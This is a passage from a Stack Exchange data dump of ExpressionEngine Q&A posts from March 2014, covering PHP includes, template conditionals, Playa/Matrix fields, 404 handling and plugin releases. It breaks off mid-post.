  <row Id="20227" PostTypeId="2" ParentId="17403" CreationDate="2014-03-12T17:00:03.557" Score="1" Body="&lt;p&gt;We &lt;a href=&quot;http://pixelandtonic.com/blog/wygwam-3.3&quot; rel=&quot;nofollow&quot;&gt;just released&lt;/a&gt; Wygwam 3.3 which fixes compatibility issues with Internet Explorer 11.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2014-03-12T17:00:03.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20228" PostTypeId="1" AcceptedAnswerId="20264" CreationDate="2014-03-12T17:02:07.283" Score="0" ViewCount="248" Body="&lt;p&gt;I am using an api from a third party developer that I can get to work outside of EE with a simple PHP include, but I can't seem to get it to work within a template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will see that this page (outside of EE) works and lists the events: &lt;a href=&quot;http://discoverycolorado.dreamhosters.com/public_calendar_listing/&quot; rel=&quot;nofollow&quot;&gt;http://discoverycolorado.dreamhosters.com/public_calendar_listing/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the page where it is not working: &#xA;&lt;a href=&quot;http://discoverycolorado.dreamhosters.com/events&quot; rel=&quot;nofollow&quot;&gt;http://discoverycolorado.dreamhosters.com/events&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think this is an API, I think it may be an EE issue or something I am not doing correctly with the PHP include. I was wondering if someone might have an idea why this might not be working?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the include on the page I am trying to get this events list to show:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$path = $_SERVER['DOCUMENT_ROOT'];&#xA;$path .= &quot;/public_calendar_listing/event_search_list.php&quot;;&#xA;                           include_once($path);&#xA;                        ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the file I am including on the above page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $count = 0; ?&amp;gt;&#xA;&#xA;   &amp;lt;table&amp;gt;&#xA;        &amp;lt;tbody&amp;gt;&#xA;&#xA;&amp;lt;?php foreach ( $events as $event ) {&#xA;&#xA;    // If there was a search, and nothing matched, return nothing&#xA;    if ($q &amp;amp;&amp;amp; $event['search'] == '0') {&#xA;        } else {&#xA;&#xA;    // Bring the recurring event dates back in to merge&#xA;    if (is_array($dup_events)) {    &#xA;        foreach ($dup_events as $dup_event) {&#xA;            if ($event['id'] == $dup_event['id']) {&#xA;                if ($event['date'] !== $dup_event['date']) {&#xA;                    $event['end_date'] = $dup_event['date'];&#xA;                    }&#xA;                }&#xA;            }&#xA;        }&#xA;&#xA;    ########################################&#xA;    #### Format the time and datestamps ####&#xA;    ########################################&#xA;    $start_stamp = strtotime($event['start_time']);&#xA;    $end_stamp = strtotime($event['end_time']);&#xA;    $date_stamp = strtotime($event['date']);&#xA;    if ($event['end_date']) $end_date_stamp = strtotime($event['end_date']);&#xA;&#xA;    if (date('i', $start_stamp) !== '00' ) {&#xA;        $event['start_time'] = date($config['timeformat'], $start_stamp);&#xA;        } else {&#xA;            $event['start_time'] = date($config['timeformat_simplified'], $start_stamp);&#xA;            }      &#xA;&#xA;    if (date('i', $end_stamp) !== '00' ) {&#xA;        $event['end_time'] = date($config['timeformat'], $end_stamp);&#xA;        } else {&#xA;            $event['end_time'] = date($config['timeformat_simplified'], $end_stamp);&#xA;            }   &#xA;&#xA;    if ($event['end_date']) {&#xA;        if (date('F', $end_date_stamp) == date('F', $date_stamp)) {&#xA;            $event['end_date'] = date($config['dateformat_simplified'], $end_date_stamp);&#xA;        } else $event['end_date'] = date($config['dateformat'], $end_date_stamp);&#xA;        $event['date'] = date($config['dateformat'], $date_stamp);&#xA;    } else $event['date'] = date($config['dateformat_single'], $date_stamp);&#xA;    $event['occur'] = date('Ymd', $date_stamp);&#xA;&#xA;    ?&amp;gt;  &#xA;&#xA;           &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&#xA;           &amp;lt;?php if ($config['display_ccblink']) { ?&amp;gt;&#xA;                &amp;lt;a href=&quot;https://&amp;lt;?php echo $config['url'] . '/event_detail.php?event_id=' . $event['id'] . '&amp;amp;occur=' . $event['occur']; ?&amp;gt;&quot; target=&quot;_blank&quot;&amp;gt;&#xA;                &amp;lt;strong&amp;gt;&amp;lt;?php echo $event['name']; ?&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;?php } else { ?&amp;gt;&#xA;                &amp;lt;strong&amp;gt;&amp;lt;?php echo $event['name']; ?&amp;gt;&amp;lt;/strong&amp;gt;&#xA;            &amp;lt;?php } ?&amp;gt;  &#xA;           &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&#xA;           &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Date: &amp;lt;?php echo $event['date'];&#xA;                    if ($event['end_date']) {&#xA;                        echo ' - ' . $event['end_date']; &#xA;                    } ?&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;            &amp;lt;?php if ( $event['start_time'] !== '12' ) { ?&amp;gt;&#xA;                    &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Time: &amp;lt;?php echo $event['start_time'] . ' - ' . $event['end_time']; ?&amp;gt;&#xA;                &amp;lt;?php if ( $event['location'] ) { ?&amp;gt;&#xA;                        &amp;lt;?php echo ' (' . $event['location'] . ')'; ?&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;                &amp;lt;?php } ?&amp;gt;      &#xA;            &amp;lt;?php } else { ?&amp;gt;   &#xA;                    &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Time: &amp;lt;?php echo $event['start_time']; ?&amp;gt;&#xA;                &amp;lt;?php if ( $event['location'] ) { ?&amp;gt;    &#xA;                        &amp;lt;?php echo ' (' . $event['location'] . ')'; ?&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;    &#xA;                &amp;lt;?php } ?&amp;gt;  &#xA;&#xA;            &amp;lt;?php } ?&amp;gt;&#xA;&#xA;            &amp;lt;?php if ( $event['description'] ) { ?&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&amp;lt;td style=&quot;white-space:pre-wrap;&quot;&amp;gt;Description: &amp;lt;?php echo $event['description']; ?&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;            &amp;lt;?php } ?&amp;gt;&#xA;&#xA;            &amp;lt;?php if ($config['display_contact']) { ?&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Contact: &amp;lt;a onclick=&quot;javascript:window.open('https://&amp;lt;?php echo $config['url']; ?&amp;gt;/app/easy_email.php?ax=create_new&amp;amp;individual_id=&amp;lt;?php echo $event['leader_id']; ?&amp;gt;&amp;amp;event_id=&amp;lt;?php echo $event['id']; ?&amp;gt;&amp;amp;individual_full_name=&amp;lt;?php echo $event['leader']; ?&amp;gt;','Email','scrollbars=1,width=520,height=710');return false;&quot; href=&quot;javascript:void();&quot; &amp;gt;&amp;lt;?php echo $event['leader']; ?&amp;gt;&amp;lt;/a&amp;gt; &amp;lt;?php echo $event['leader_phone']; ?&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;            &amp;lt;?php } ?&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;?php // 2014/02/14 mjf include group name ?&amp;gt;&#xA;        &amp;lt;?php if ($event['group_name']) { ?&amp;gt;&#xA;                    &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;i&amp;gt;&amp;lt;?php echo $event['group_name'] ?&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;        &amp;lt;?php } ?&amp;gt;&#xA;&#xA;            &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;    &#xA;&#xA;    &amp;lt;?php $count++;&#xA;        }&#xA;    } // end foreach $event ?&amp;gt;&#xA;&#xA;    &amp;lt;/tbody&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&#xA;&amp;lt;?php if ($count == 0) { ?&amp;gt;&#xA;        &amp;lt;p&amp;gt; No results found. &amp;lt;/p&amp;gt;     &#xA;&amp;lt;?php }     &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is config file for the api:&#xA;    &#xA;&#xA;&lt;pre&gt;&lt;code&gt;  ##################################################&#xA;  #### CCB PUBLIC CALENDAR IN LIST FORMAT       ####&#xA;  #### Configuration Options                    ####&#xA;  ####                                          ####&#xA;  #### This CCB API example provided by:        ####&#xA;  #### Philip Cain &amp;lt;pcain@pantanochristian.org&amp;gt; ####&#xA;  ##################################################&#xA;&#xA;  $config = array (&#xA;&#xA;&#xA;&#xA;  #### CCB API CONFIG ####&#xA;&#xA;  // Your church's CCB address (no &quot;http://&quot; or trailing &quot;/&quot;)&#xA;  'url' =&amp;gt; 'xxxxxxxx',&#xA;&#xA;  // API username and password. You can create one by following the instructions here:&#xA;  // https://churchcommunity.fogbugz.com/default.asp?W490&#xA;  //&#xA;  // Make sure you enable the &quot;public_calendar_listing&quot; service&#xA; 'username' =&amp;gt; 'xxxxxxxx',&#xA; 'password' =&amp;gt; 'xxxxxxx',&#xA;&#xA;  #### OPTIONS ####&#xA;&#xA;  // Create a link to the event in CCB&#xA;  'display_ccblink' =&amp;gt; true,&#xA;&#xA;  // Display event contact information&#xA;  'display_contact' =&amp;gt; true,&#xA;&#xA;  // Display recurring or multi-day events as a single event?&#xA;  'combine_recurring' =&amp;gt; true,&#xA;&#xA;  // Set the range for how far into the future you'd like to look&#xA;  'range' =&amp;gt; '+3 months',&#xA;&#xA;  // 2014/02/14 mjf specify groups to include in calendar&#xA;  // group names must match ccb group names exactly&#xA;  // to provide no filtering, use:&#xA;  //    'groups' =&amp;gt; array(),&#xA;  // to filter for Congregational Life Events and AWANA events, use:&#xA;  //    'groups' =&amp;gt; array('Congregational Life Events', 'AWANA'),&#xA;  'groups' =&amp;gt; array(),&#xA;&#xA;  #### DATE/TIME FORMATS ####&#xA;&#xA;  // Main time format (default looks like &quot;6:30am&quot;)&#xA;  'timeformat' =&amp;gt; 'g:ia',&#xA;&#xA;  // Simplified time format, used when the time is at the top of the hour (default looks like &quot;6am&quot;)&#xA;  'timeformat_simplified' =&amp;gt; 'ga',&#xA;&#xA;  // Main date format (default looks like &quot;May 18&quot;)&#xA;  'dateformat' =&amp;gt; 'F j',&#xA;&#xA;  // Date format for one day events (default looks like &quot;Wednesday, May 18&quot;)&#xA;  'dateformat_single' =&amp;gt; 'l, F j',&#xA;&#xA;  // Simplified date format, used for the end date of a multi-day event       (default looks like &quot;18&quot;)&#xA;  'dateformat_simplified' =&amp;gt; 'j',&#xA;&#xA;      );&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1150" LastEditorUserId="1150" LastEditDate="2014-03-12T18:54:29.487" LastActivityDate="2014-03-13T14:06:58.780" Title="Church Community Builder API Not Working In Template" Tags="|templates|php|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20229" PostTypeId="2" ParentId="18405" CreationDate="2014-03-12T17:06:19.673" Score="2" Body="&lt;p&gt;We &lt;a href=&quot;http://pixelandtonic.com/blog/wygwam-3.3&quot; rel=&quot;nofollow&quot;&gt;just released&lt;/a&gt; Wygwam 3.3 which fixes compatibility issues with Internet Explorer 11.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2014-03-12T17:06:19.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20230" PostTypeId="1" CreationDate="2014-03-12T17:07:23.670" Score="1" ViewCount="240" Body="&lt;p&gt;I have a matrix field that has 1 column, which is a playa field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The playa field is set up to allow the user to choose any open entry within 2 different channels. I need to display code in the template that has a conditional the chooses 2 options based on what channel the selected entry (chosen in the playa field) is from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words: user selects an entry in the playa field. That entry can be from either channel A or channel B. I need conditional code that displays one thing if the selected entry is from channel A, and something different if the selected entry is from channel B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I do that? Thanks!!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is my template: Note that I can't get ANY type of conditional statement to work where indicated in the comment, but the 2 conditionals outside the EE channel tag DO work. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- news promos using Matrix &amp;amp; Playa fields --&amp;gt;&#xA;{exp:channel:entries channel=&quot;home_page&quot; disable=&quot;categories|category_fields|member_data|pagination&quot; limit=&quot;1&quot; dynamic=&quot;off&quot; show_future_entries=&quot;yes&quot;}&#xA;            &amp;lt;!-- start matrix field --&amp;gt;&#xA;            {homepage_news_4items}&#xA;                    {!-- start playa field within the matrix --}&#xA;                    {hp_news_promo}&#xA;                    &amp;lt;li&amp;gt;&#xA;                        &amp;lt;em&amp;gt;{entry_date format=&quot;%M. %j, %Y&quot;}&amp;lt;/em&amp;gt;&#xA;                        &amp;lt;div class=&quot;text&quot;&amp;gt;&#xA;                            &amp;lt;!-- need to insert an EE conditional statement on this line to replace the xxxxxxx --&amp;gt;&amp;lt;a href=&quot;{path='/xxxxxxxx/{url_title}'}&quot;&amp;gt;{exp:word_limit total=&quot;7&quot;}{news_long_title}{/exp:word_limit}&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/li&amp;gt;&#xA;                    {/hp_news_promo}&#xA;                    {!-- end playa field within the matrix --}&#xA;            {/homepage_news_4items}&#xA;            &amp;lt;!-- end matrix field --&amp;gt;&#xA;{/exp:channel:entries}&#xA;&amp;lt;!-- /news promos using Matrix &amp;amp; Playa fields --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&#xA;{if username == 'rory'}Hi Rory!{/if}&#xA;&lt;br /&gt;&lt;br /&gt;&#xA;{if segment_2 == 'march14test'}this is the test template{if:else}wrong URL{/if}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;----- END TEMPLATE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I want to insert as a conditional on the line indicated (to replace the whole line):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if channel_short_name == &quot;industry_news&quot;}{if:else}{/if}{exp:word_limit total=&quot;7&quot;}{news_long_title}{/exp:word_limit}&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Well, I have concluded that there is no way to use a conditional inside the matrix/playa code, which is a big disappointment. I even tried the trick with the variable prefix, and it didn't work. &lt;/p&gt;&#xA;" OwnerUserId="2688" LastEditorUserId="2688" LastEditDate="2014-03-15T21:01:51.850" LastActivityDate="2014-03-15T21:01:51.850" Title="conditional based on what channel the entry selected in a playa field is in?" Tags="|playa|conditionals|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20232" PostTypeId="2" ParentId="20230" CreationDate="2014-03-12T17:11:09.080" Score="0" Body="&lt;p&gt;What do you get if you output {channel} in your template for the related fields in your playa loop?&#xA;Maybe try {playa-field-name:channel}&#xA;I think you'll get the channel name that you're looking for which you can then use in a standard conditional.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-03-12T17:11:09.080" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20233" PostTypeId="1" AcceptedAnswerId="20235" CreationDate="2014-03-12T18:27:38.633" Score="0" ViewCount="970" Body="&lt;p&gt;I am trying to set up a slider in ExpressionEngine which will display a video if the video embed code exists, otherwise it will display an image slider. Currently, I am not able to hide the image slider if the video code exists(but the video does get placed on the page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{slider}&#xA;    {if video}&#xA;            {video}&#xA;    {if:else}&#xA;        {if total_rows &amp;gt; &quot;1&quot; &amp;amp;&amp;amp; row_count == &quot;1&quot;}&#xA;            &amp;lt;div id='news_slider'&amp;gt;&#xA;        {/if}&#xA;            &amp;lt;img title=&quot;{img_title}&quot; src=&quot;{img}&quot; /&amp;gt;&#xA;        {if total_rows &amp;gt; &quot;1&quot; &amp;amp;&amp;amp; row_count == total_rows}&#xA;            &amp;lt;/div&amp;gt;&#xA;        {/if}&#xA;    {/if}&#xA;{/slider}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2257" LastActivityDate="2014-03-12T18:58:47.503" Title="If custom channel field entry exists display content else display alternate content" Tags="|conditionals|ifelse|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20234" PostTypeId="2" ParentId="20185" CreationDate="2014-03-12T18:35:51.317" Score="0" Body="&lt;p&gt;So your &quot;categories &quot; would go...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Menu 1&#xA;- Drink&#xA;- Food&#xA;Menu 2&#xA;- Drink&#xA;- Food&#xA;Menu 3&#xA;- Drink&#xA;- Food&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could use categories and sub categories, though you would have to make each subcategory url title unique, eg  menu-1-drink, menu2-drink, menu3-drink.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also hard code the Drink/Food links for each Menu x category then use /segment_x values to pull in relevant content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...and like Jessica suggested use relationships.&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2014-03-12T18:35:51.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20235" PostTypeId="2" ParentId="20233" CreationDate="2014-03-12T18:38:20.767" Score="2" Body="&lt;p&gt;Have you tried this? The difference is on Line 2. It does mean you're running the conditional against the entire embed string rather than the variable but it may work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{slider}&#xA;    {if &quot;{video}&quot;!=&quot;&quot;}&#xA;            {video}&#xA;    {if:else}&#xA;        {if total_rows &amp;gt; &quot;1&quot; &amp;amp;&amp;amp; row_count == &quot;1&quot;}&#xA;            &amp;lt;div id='news_slider'&amp;gt;&#xA;        {/if}&#xA;            &amp;lt;img title=&quot;{img_title}&quot; src=&quot;{img}&quot; /&amp;gt;&#xA;        {if total_rows &amp;gt; &quot;1&quot; &amp;amp;&amp;amp; row_count == total_rows}&#xA;            &amp;lt;/div&amp;gt;&#xA;        {/if}&#xA;    {/if}&#xA;{/slider}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also found out from the OP that this is running EE 2.5.5 and Pixel and Tonic Matrix. I wrote a prototype alternative in Grid and advised he upgrades to that.&lt;/p&gt;&#xA;" OwnerUserId="96" LastEditorUserId="96" LastEditDate="2014-03-12T18:58:47.503" LastActivityDate="2014-03-12T18:58:47.503" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="20236" PostTypeId="2" ParentId="20228" CreationDate="2014-03-12T19:03:01.100" Score="0" Body="&lt;p&gt;To answer with an aside which may indirectly help you...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Putting PHP code in templates isn't ideal. It muddies the water and can be prone to problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't help but think that you'd be better served integrating your PHP into a simple add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could quite easily take your code and wrap it in ExpressionEngine's API. &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/plugins.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/plugins.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple plugin might look like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');&#xA;&#xA;class Event_Search {&#xA;public $return_data = &quot;&quot;;&#xA;public function __construct()&#xA;{&#xA;  $path = $_SERVER['DOCUMENT_ROOT'];&#xA;  $path .= &quot;/public_calendar_listing/event_search_list.php&quot;;&#xA;  $this-&amp;gt;return_data = include_once($path);&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You would put that into &lt;code&gt;/system/expressionengine/third_party/event_search/pi.event_search.php&lt;/code&gt; and call it with &lt;code&gt;{exp:event_search}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if that works maybe look into developing it into a nicer add-on in which you return the data back into ExpressionEngine variables so you can build the template directly into EE.&lt;/p&gt;&#xA;" OwnerUserId="96" LastEditorUserId="96" LastEditDate="2014-03-12T19:23:06.880" LastActivityDate="2014-03-12T19:23:06.880" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20237" PostTypeId="1" AcceptedAnswerId="20246" CreationDate="2014-03-12T19:34:57.300" Score="0" ViewCount="999" Body="&lt;p&gt;I have had no luck in trying to sort a conditional that will only show the following if the category is not empty for the parent relationship.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3&amp;gt;ARTICLES&amp;lt;/h3&amp;gt;&#xA;{parents orderby=&quot;date&quot; sort=&quot;desc&quot; channel=&quot;articles&quot; category=&quot;1&quot; status=&quot;not closed&quot;}  &#xA;  &amp;lt;h4&amp;gt;&amp;lt;a href=&quot;{parents:title_permalink=&quot;articles/view&quot;}&quot;&amp;gt;{parents:title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;  &amp;lt;h5&amp;gt;{parents:article_author}&amp;lt;/h5&amp;gt;&#xA;{/parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is an online magazine table of contents. The parent relationship is the issue number. So I want to only displays articles in the TOC if there are any for that issue.&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2014-03-13T07:44:28.730" Title="Parent Relationship Conditional -- if not empty" Tags="|relationships|conditionals|advanced-conditionals|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20238" PostTypeId="1" CreationDate="2014-03-12T19:44:45.623" Score="1" ViewCount="65" Body="&lt;p&gt;I have several S3 external sources set up with Assets on an MSM site. Some sources are for Site 1 and some are for Site 2. However, when I go to the Assets file manager on Site 2, the external sources for Site 1 display also. Same for vice-versa.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE 2.7.2 &lt;/li&gt;&#xA;&lt;li&gt;Assets 2.2.2&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5" LastActivityDate="2014-03-12T19:44:45.623" Title="All External Assets Sources Display on MSM Site" Tags="|assets|multi-site-manager|s3|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20239" PostTypeId="1" AcceptedAnswerId="20254" CreationDate="2014-03-12T19:48:54.420" Score="0" ViewCount="66" Body="&lt;p&gt;Is there a way to say &quot;If this entry &lt;em&gt;contains&lt;/em&gt; category 5&quot; rather than &quot;If this entry's category is category 5&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories}&#xA;{if category_id=&quot;5&quot;}&#xA;Do something&#xA;{/if}&#xA;{/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I believe the condition would only return true of the &lt;em&gt;only&lt;/em&gt; category assigned is category 5. If an entry has categories 5 and 6 assigned, it would not be returned here, but that's what I'm looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possible?&lt;/p&gt;&#xA;" OwnerUserId="332" LastActivityDate="2014-03-13T09:56:28.317" Title="Can I use &quot;contains&quot; logic in categories?" Tags="|categories|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20240" PostTypeId="2" ParentId="20239" CreationDate="2014-03-12T21:00:04.547" Score="0" Body="&lt;p&gt;If I'm not mistaken your code should do exactly that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would find 5 in the loop and 'do something' and then loop again at 6 and do nothing because there's nothing to execute. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;May not be especially efficient but should work. &lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-03-12T21:00:04.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20242" PostTypeId="1" CreationDate="2014-03-12T21:55:18.893" Score="2" ViewCount="120" Body="&lt;p&gt;We have created &lt;a href=&quot;http://www.macobserver.com/tmo/404_not_found&quot; rel=&quot;nofollow&quot;&gt;http://www.macobserver.com/tmo/404_not_found&lt;/a&gt; — That page works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then added&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ErrorDocument 404 /tmo/404_not_found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to our apache config. Without that line in there Apache delivers its default 404, so I know that logic works. With that line in there, though, I get our home page, NOT the 404 template. It comes in with a 404 header properly, but it doesn't display the right template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas why? I've been beating my head on this one before posting here (as we all do, I'm sure :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(and yes, we renamed our index.php to tmo years ago with EE 1.x)&lt;/p&gt;&#xA;" OwnerUserId="2514" LastActivityDate="2014-03-19T19:12:58.120" Title="404 ErrorDocument returns home page incorrectly" Tags="|404|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20243" PostTypeId="1" AcceptedAnswerId="20248" CreationDate="2014-03-13T00:44:40.303" Score="1" ViewCount="596" Body="&lt;p&gt;I have an ee entries loop returning a bunch of entries. Each entry has a custom field holding a numerical value. I would like to add together the values of that field at the end and output the total. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP equivalent would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for ($i = 0; $i &amp;lt; $total; $i++){&#xA;$total += $value[$i];&#xA;}&#xA;&#xA;&#xA;Total = echo $total&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Even better would be to just have this run a SQL like command and return the value for me:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SELECT SUM(column) FROM table&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any plugins that can help me with this? I'd like to avoid PHP if possible but if I have to how would I make the PHP work with EE tags, I can't seem to get the value for the custom field into my PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an operator for Stash to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2014-03-13T08:25:04.943" Title="Adding up (SUM) the values of a field in an entries loop" Tags="|stash|math|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20244" PostTypeId="1" CreationDate="2014-03-13T00:57:11.420" Score="0" ViewCount="66" Body="&lt;p&gt;I see that WYGWAM added support for HTML5 elements (section, figure, etc.) in their changelog, but I cannot figure out how to enable or use them. Can someone enlighten me?&lt;/p&gt;&#xA;" OwnerUserId="962" LastActivityDate="2014-06-18T21:11:33.800" Title="How do you use HTML5 elements in WYGWAM?" Tags="|pixelandtonic|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20245" PostTypeId="1" AcceptedAnswerId="20247" CreationDate="2014-03-13T06:58:15.060" Score="1" ViewCount="243" Body="&lt;p&gt;I have this code here&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;        author_id=&quot;1|CURRENT_USER&quot;&#xA;        channel=&quot;foo&quot;&#xA;        disable=&quot;categories|category_fields|member_data|pagination&quot;&#xA;        dynamic=&quot;no&quot;&#xA;        orderby=&quot;entry_id&quot;&#xA;        sort=&quot;asc&quot;&#xA;        parse=&quot;inward&quot;&#xA;}&#xA;    ...&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code is supposed to return all the &lt;code&gt;foo&lt;/code&gt; entries which as authored by&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the admin (author_id=1)&lt;/li&gt;&#xA;&lt;li&gt;the current logged in user (author_id=45)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The problem that I am having is that it doesn't get the correct entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried 2 variations as listed below but they didn't work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;author_id=&quot;1|{member_id}&quot;&#xA;author_id=&quot;1|{logged_in_member_id}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when hardcoding the values&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;author_id=&quot;1|45&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It returned the correct 